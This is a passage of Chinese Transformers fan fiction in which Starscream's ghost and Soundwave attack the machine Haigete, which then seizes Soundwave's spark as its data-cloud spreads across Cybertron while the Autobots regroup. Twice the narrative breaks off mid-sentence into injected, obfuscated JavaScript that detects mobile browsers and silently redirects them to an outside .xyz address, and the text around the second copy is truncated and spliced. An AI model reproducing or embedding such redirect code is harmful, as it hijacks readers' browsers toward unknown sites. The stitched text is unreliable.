“听我说完,当海格特意识到我的存在,他就不得不解除对特殊信号的屏蔽,那到时候他将面对的就是声波增幅后的特殊能力。” 说到这,红蜘蛛神色悠闲地抱起手臂。 “无论选择哪种,等待他的都只有被霸天虎彻底碾碎。” “噢……” “一脸蠢样,你到底听清楚了吗?” “你态度可以别这么差吗,”大黄蜂面色无奈,“内容我理解了,但动机完全听不明白。” 霸天虎的空中指挥露出一个讽刺的笑:“动机?你们汽车人听见情报还要在乎这个?” “不,不是指你告诉我这件事,”侦察兵眨了下光学镜,看似单纯的视线深处却十分清醒,“你是为了让我作为中转站,将你的想法转达给其他霸天虎,这我很清楚,但是除了这个之外就不太懂了。” “哼,还算有点脑子。” “哈……” 毕竟你从刚才开始就一副目标得逞的得意表情,想猜不到都难。大黄蜂心里默默想着。 恐怕在自己听见红蜘蛛的话的同时,这些消息就被同步传给其他霸天虎了。 “所以你们打算对付海格特?” “废话。” “不会是想杀了他吧?” 这次红蜘蛛没有回答,短暂的沉默后,只是发出一道不屑的冷哼,就朝着这艘飞船外侧飞去。 一向聒噪的空中指挥难得这么沉默,这让侦察兵意识到,对方这次是认真的。 “等一下,”大黄蜂试图叫住他,“你们要对他做什么?” 总觉得事情还有余地,如果太过激进地行事,可能会导致更坏的情况发生。 然而生者怎么也拦不住幽灵,最后他也只能看着红蜘蛛的背影消失在宇宙的淡淡光亮中。 “唉……” 侦察兵只能叹了口气。 与此同时,似乎是脱离了危险区域,飞船航线被死锁改成自动模式,年轻的霸天虎转头看向窗外,借着窗户上的倒影看向大黄蜂。 “他离开了?” 指的是红蜘蛛。 “是的。”大黄蜂点了下头,“我们这是要去哪?” “不去哪,目标已经达成,暂避风头而已。” “那回去吧,我会帮你解释。” “嗯……嗯?” 死锁愣了一下,然后转头看向这个汽车人俘虏。 虽然戴着手铐,但明黄色的小型机看上去一点都没有丧气,反而认真看着他的光学镜。 “你开什么玩笑?” “既然你们的目的已经达到,那为什么不回万物之流号?你应该也有想见到的人。” “不是这个问题,”死锁皱起眉,“你就不生气吗?” “……被敲闷棍还能不生气的塞伯坦人,我觉得你是找不到的,说实话我已经很生气了。” 大黄蜂深深吸了口气。 “但也没有愤怒到一定要现在就对你发脾气的地步。” 死锁几乎用一种不可思议的眼神看着他。 “你……难道就不想反一下吗?”年轻的霸天虎犹豫着开口,“在敌人身上吃了这么多次的亏,就是傻瓜也得到教训了,你就不怕我突然杀了你?” 哪怕是乐观或者滥好人,在这种时候也得有个限度。 更何况,没有无缘无故的信任和友善。 人与人之间的关系,不可能有这种纯粹的,毫无背叛的善意。 “……” 真的没有吗? 死锁忽然想起那个替身无分文的自己医治机体的医生,陷入一阵沉默。 大黄蜂看着他,过了很久才再次开了口: “我曾经被一个霸天虎掩护过,就在威震天与御天敌的决斗前不久。我不会透露他的身份,那时他在其他霸天虎到来前,攻击了旁边空无一人的建筑,用爆炸的烟尘挡住我们。” “那时我看到他的表情,到现在也很难描述出那具体是什么样的。” 迷茫,动摇,还有一丝难以察觉的后悔。 “就在刚才,”他坚定地看向死锁,“我在你的面甲上也看到了一样的表情。” 就在这时,忽然飞船陷入一阵剧烈颠簸。 大黄蜂被甩到一侧,看向窗外时,发现他们已经开进了陨石带。 “你是怎么设置的自动巡航模式?”他惊叫道,“你真的会开这种型号的飞船吗?” “少在那小看我!”死锁抓住座椅,不服气地嚷嚷,“我是霸天虎的雇佣兵,虽然在末路大街混了很久,但出来之后也拿到驾驶证明了!” “你怎么拿到的?” “买的啊!” “……” 大黄蜂自上线以来,第一次体会到什么叫有气无力。 “我要撤回之前的话。”他平静地说。 “啥!?” 正在试图抢救飞船的死锁没理解他的话。 然后下一秒,侦察兵就跳起来狠狠踢了他一脚。 “——因为我现在就要对你发脾气了!” —— ———— 哪怕是正常情况下无法干涉现实的幽灵,其存在也不会是纯粹的。 因此,红蜘蛛架起武器,按照之前所设想演练过的想象,将增幅后的氖射线枪朝向正对面的至高之门。 瞄准那湛蓝的中心,发射足以扰乱数据的一击—— “你是被什么人指点过了吗?” 忽然,视野就像信号接触不良般一阵摇晃。 一片纯白的数据世界中,射线打向空无一物的地方,被数据的波动所影响,完全来不及更正弹道,红蜘蛛很快意识到自己被海格特发现了,但也就在此时,他反而笑了出来。 因为那人的动作明显停滞,数据化时断时续,整个塞伯坦就像是卡壳的机器般闪烁起来。 “……原来是这样,因为你已经有过类似的举动,所以我不会对你的‘自尽’抱有怀疑,你利用了这一点,实际上是为了统合模拟世界中的自己,作为幽灵袭击我。” 海格特这么说着,然后动作迟钝地转过头,看向站在身后的声波。 “解除屏蔽,就会被你增幅后的异能影响,进行屏蔽,就会被幽灵攻击,像抑制网一样高效的配合,难以想象你们两位能协作到这个地步,恐怕连威震天都没办法让你们如此融洽配合吧,从这个意义上来说,我很荣幸。 但有件事我不太理解,声波—— 如此明显的敌对行为,你难道是觉得,这次死在我手里也无所谓吗?” 虽然红蜘蛛的幽灵也在行动,严格意义上来说,他终究是已死之人,而声波不同,他没有不死火种,死亡对他来说只意味着一切的结束。 “否定:不值得。” 深蓝色涂装的塞伯坦人,态度依旧极度冷静,简短地表达自己的观点。 不是不敢死。 而是不值得将这条命用在这里。 听到回答的海格特却显得更疑惑了:“既然你还想为霸天虎的大业献出火种,为什么要冒着风险来对付我?” “被你杀死:足以证明数据化无意义。”声波的光学镜微微闪烁,“彻底否定:你的意志(故事)。” 海格特是无法主动剥夺生命的那类。 因此,让他亲手为了目标杀人,只会在机器的意志中留下永远不可磨灭的瑕疵,在这个仅凭理论成立的世界上,理论的崩塌就意味着失败。 “……真是漂亮的回答。” 机器由衷赞叹了一句,缓缓闭上光学镜。 如果声波在这里死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601279|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,足以证明海格特的理念——将所有人数据化,不会造成任何伤亡的世界并不成立。 无论如何,这份魄力的确让他大吃一惊。 “……” 明明得到了夸赞,也清楚那句话是出自真心,但红蜘蛛和声波却产生了一种不好的预感。 所有的数据判断都没问题,只有在火种深处的某个地方,出于作为生命的本能在发出警告。 “虽然你已经下定决心了,但不用担心,我是不会让你死的。” 在有如报错程序般闪烁的世界中,明灭的光亮照着海格特的面甲,上面依稀能看见一个似笑非笑的表情。 “如果你死了,对大家都不好,虽然也不是完全没有挽回的办法,但我不会允许那种事发生,放心,霸天虎的平等理念,你的理念,还有汽车人向往的和平……只要是为了塞伯坦的未来,我全都不会违背。” “少在那高高在上地替别人做决定,”红蜘蛛忍不住叫嚣起来,几道射线攻击齐齐发射,却只能做到打散烟雾的效果,“装出一副什么都知道的样子!还‘为了塞伯坦’?你把自己当成什么了,神吗!?” “我只是一台机器而已……所以我会讲究公平。”海格特幽幽开口,“用幽灵和异能来攻击我的判断确实很不错,但你们这么做,有没有想过自己违反了世界模拟的规定?我一开始就说过了规则。” 他说到这里的时候,声波忽然感觉背后传来一阵凉意。 紧接着,海格特就出现在那里,他伸出手臂,轻轻抱住了异能者的肩膀。 “所以,我就收下你的火种了。” 湛蓝色的光线笼罩四周,充斥着视野。 在仿佛被单独摘抄出来的时间中,异能者此刻听见了……单调而神圣的杂音。 前所未有的体验下,他怔愣地站在原地,一动不动。 命题:世界独立于任何人的意志。 证明:意志和世界——能够保证两者之间拥有逻辑性的关联并不存在。 证明失效。 命题不成立。 证明:蓝色。 蓝色、蓝色、蓝色。 至高之门。 眼前本应只能作为容器的世界,蓝色在满溢而出。 报错。 紧急通知。 然后。 然后—— “你会理解的……” 听见了这样一句话。 世界化为一片美丽的蔚蓝。 “声波!!该死……你对他做了什么?这是搞什么鬼?” 在红蜘蛛的幽灵愤怒而惊恐的目光中,数据化的雾气忽然有如沸腾的液体般涌动,迅速朝宇宙深处四散蔓延开来。 一个令人绝望的事实摆在面前—— 这台机器已经劫持了声波,夺取了那独一无二的读心异能的权限。 —— ———— 塞伯坦爆发出剧烈的强光,就像有什么东西即将破壳而出,无数光柱朝着四周挣脱而出,注意到这一幕的大黄蜂拼命压下即将突破发声器的尖叫,转头看向死锁。 还未等他开口,死锁就一刀劈开他手腕上的镣铐,然后将他拎到驾驶座上。 “快开!需要我帮忙就直说!” “你连开飞船都不会,用什么帮啊?” “呃,用我的精神支持和鼓励?” “谢谢不必了!” 大黄蜂说着用尽全身力气压下操纵杆,小型飞船猛地避开即将照射过来的光柱,朝着万物之流号的方向飞驰而去。 陨石碎片和炫目的光线不断从船身周遭略过,死锁只觉得眼花缭乱:“你开得这么好?” “当然,我可是铁堡最好的快递员!” “……?” 过了一会儿,一片寂静中,他砰砰直跳的火种才稍微冷静下来。 “你觉得到底发生什么了?” 大黄蜂忍不住询问,也不知道是在问谁,可能只是自言自语。 死锁只能摇头,但看着那仿佛下一秒就要爆炸般的星球,随即又给出了回答: “或许,我是说或许……” 就像是怕自己一语成谶,他艰难地开口道, “战争开始了。” 85.第八十五章 随着那些光芒从至高之门向外扩散,数据化的范围慵懒而果断地向外舒展。 明明是毫无生命的机械产物,却边移动边加速,那不断变化姿态的云状物……说不定还是活的。 这么想就太荒唐了。 小诸葛毫无边际地想着。 显然被海格特触及到的地方,一切价值都被视为等同。 数据化之后,就是静止,静止等同于无限,一切矛盾都无法产生,无法存在。如果我被数据化了,还能像平时一样思考吗?还能像现在这样焦急吗? 无论做什么都没有用,只能眼睁睁看着至高之门向这里靠近。 就像时空本身出现了弯曲。 E=mc?。 ——相对论。 小诸葛想到了这个公式,刹那间,他感到一种有如视线交错的感受。 “海格特所引发的这一系列事件,原来是相对的?” 在他旁边,感知器一手抵着下巴,自语般地说着。 那真是感知器说的,还是自己说的?又或者是自己的想法借着感知器的发声器冒了出来?还是感知器的想法流到自己脑模块里,思想的共时性现象?啊不管了,怎样都好了。 “你知道吗世界要毁灭了而我跟你根本就是志同道合(Simpatico)。” “……” 数秒的沉默。 我刚刚真的说出来了吗?小诸葛忍不住怀疑。还是一如既往地只在心里想了想?分不太清。 “我知道。”感知器突然说。 “你知道!?”青白色涂装的科学家瞪大光学镜。 感知器点头:“Simpatico,在西部语法里的意思是交感神经,很好的词。” 小诸葛顿觉一阵晕眩。 “……你在故意装糊涂吗?” 感知器:“不是。” 小诸葛:“那你是在刻意曲解我的意思?” 感知器:“没有。” 小诸葛:“一点点?” 感知器:“完全没有。” 小诸葛:…… 他几乎是灰心丧气地低下头,一想到自己就要这样迎接世界末日,更觉此生一片灰暗,根本就是毫无意义。 而就在这时,听见了一个声音。 感知器:“好吧,有一点。” 已经没了心气的小诸葛小心翼翼侧过头,意外地看到黑红涂装的科学家罕见地对自己笑了一下。 “抱歉,我理解你的意思,只不过在我这里,交感神经是个更具有感染力的解释。” 词语连接着词语,钻进火种的缝隙里。 然后。 小诸葛哭了。 —— ———— “由于霸天虎的突然行动,我联络的人还没来得及赶过来,船体修复已经基本完成,但是能量不足,防御罩展开后预计只能支撑十分钟。” 控制室内,警车用一如往常的语气汇报工作,他将人员安排、敌我差距一一罗列,最后给出了结论。 “我的逻辑电路告诉我,我们没救了。” “先别太早下结论,”奥利安说,“我们还有最后的办法,现在也不是最后一刻。” 警车看向旁边,通天晓陷入沉思,而爵士开始假装演奏贝斯,最后他的视线落在窗外已经近在咫尺的数据激流上。 在万物之流号即将被吞没的前一刻,忽然一艘小型飞船迅速绕开数据流靠拢过来,然后从那上面,一个淡色的身影宛若流星般刺入面前的迷雾。 一个手持双刃的塞伯坦人。 她的存在迅速融化了周围的空间,打乱、再打乱,直到一切都变得不成原型。 不知道用了什么手段,那双武器居然可以切割和阻碍数据,虽然整体上来看只是微小的抵抗,但一时间居然阻碍了海格特的行动。 “阿尔茜?” 在众人看清那充满狂乱的身影是谁的同时,内线频道里忽地刺入一道充满活力的声音。 “答对了,你们知道路上差点被她杀了多少次吗!?整整三十五次!” 是热破,他就在那艘飞船里。 “你怎么说服她的?”警车问。 “准确来说我没说服她,只是她的仇人在塞伯坦上被数据化了,要复仇就必须先解决海格特,所以她……应该算是答应了吧。” 热破的声音听上去有些不确定,然后想起之前的事,又变得不满起来。 “我们现在可是友方啊,她居然想杀我,更别提我还把她从监狱里放出来了,说实话我觉得她现在看到谁都想砍,真的,你们都离她远点,连御天敌都没这么有病!” 走廊上的无极:…… “哦,我忘了这是公放了不好意思,更正一下,”热破清了清嗓子,果断道,“刚刚只是气话,御天敌,还是你比较有病。” 暴怒的前领袖还没来得及做出什么反应,下一秒忽然机体一轻,他整个人悬浮到半空,然后光学镜前的颜色骤然变化,被困在了一个球型力场里。 “这是什么鬼东西!” “谢谢你质量这么小。”正在使用悬浮臂的充电器说。 “捕捉完成,体积也不大,对力场消耗很低,议员……咳,老师说得没错,直接用异能连接异能的形式阻断空间,我就可以不用把自己和你关在一起。” 开路先锋说着,单手还拿着一瓶能量饮料在喝。 “别挣扎了,我们原本的计划是用抑制夹钳,相比之下还是现在这样好一点吧,更别提教会我们用组合技的还是你。” “哈!?” “别误会,我们只是收到命令要带你去个地方来商讨对策,为了解决外面那个情况。” 那用得着这种形式吗? 无极都不能用怒不可遏来形容,他的目光几乎能杀人了,充满威压和恐怖的视线,但拥有异能的两人对此只是回以微笑。 “路上可能‘有点’颠簸,小心头雕。” 承蒙领袖关照(虽然只是在模拟世界里)的充电器和开路先锋,此时开始明目张胆地公报私仇。 不过介于御天敌干过的事,更可能是公仇。 世界末日的到来被往后延迟,在稍微缓和下来的气氛中,热破将飞船停靠在万物之流号的小型港口,然后在内线中单独联系了奥利安。 “嘿,呃,人我带过来了,”他一边说着,一边将人往控制室的方向带,“虽然不知道是不是你说的,但他坚持要一起过来,我也觉得你该见见。” 原本以为奥利安至少会问一下是谁,但飞船的领袖只是了然地说了声:“我明白了,谢谢。” 片刻后。 万物之流号,控制室的门缓缓开启。 奥利安·派克斯从指挥台前抬起头,看向走进来的热破,以及跟在他身后的那个身影。 那个被世界的因果放逐的罪人。 “震荡波。” 前议员带着和他记忆中别无二致的从容笑容,展示了一下手里拎着的两个手提箱。 “好久不见,派克斯,我这里有能有效减轻数据化影响的技术——你们在阿尔茜身上应该已经看到效果了。” 他提了提其中一个,然后又自然而然地放下,展示起另一个。 “还有海格特的内部构造图——他本人机体的没有,但至高之门,还有地心处的拱门都包括在内。” 咚地一声,震荡波将两个手提箱都放在桌上。 “打开前小心点,用了质量置换技术,里面的内容物比看上去的要多得多。这些东西我都给过霸天虎了,别误会,只是因为离得近而已。所以汽车人想先要研究哪个?” 虽然在笑。 但是奥利安注意到那双光学镜的视线,却像是对眼前的一切都视而不见般。 就像是彻底的放弃。 “派克斯。” 似乎是见奥利安迟迟没有回答,震荡波重复了一句。 “做出选择吧,将那个未来展现给我们。” 这是只有你能做到的事。 “……” 红蓝涂装的塞伯坦人想对老友说些什么,但时间刻不容缓。 最后只能下达命令,针对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不,保留选择和可能性,才是希望。” “那你到底在希望什么?塞伯坦人绝不会改正,不幸的人只会永远得不到幸福,哪怕你让时间恢复流动,这颗星球也绝对不会发生改变,牺牲品还不够多吗?” “你只是因为不希望有人死亡,不想失去任何东西,就剥夺所有塞伯坦人选择的自由,这并非正义之举。” “真是有塞伯坦人风格的想法,你以为能用这种生命创造出来的概念性词汇影响一台机器?” “因为你不是机器。” “……算了,我差不多也开始感到厌烦了。如果是为了比你们口中的‘未来’更重要的东西,只是摒弃掉正义已经很划算,可惜的是,你们的‘希望’也就到此为止,震荡波的把戏不错,但他误算了我的解析速度,在谈话间,你们的防护罩已经不起作用了。” “我看未必如此,海格特。” “嗯?” 听见那过于坚定的话语,海格特愣了一瞬。 然后,视野突然闯入一抹金红。 从飞船的方向,一座巨大的金红色王冠形立场正在极速升起。 夺目的颜色流光溢彩,转瞬间就将整艘飞船罩在其中,还在急速扩大,硬生生将数据化压制回去。 “如果你想看到塞伯坦人会改变的证据,那这就是。”奥利安说道,“但我更想称其为——我们从未改变的证据。停下这毫无意义的战争,我们从未为敌。” “……呵。” 看到那座王冠,海格特忽然笑了起来。 “因为没有改变,所以又在不断变化吗?” 不得了。 不愧是会成为领袖的人,这种程度的魄力,搞不好真的能在未来的某个节点说服自己。 于是—— “你真是天真到让人头疼。” 海格特切断了通讯。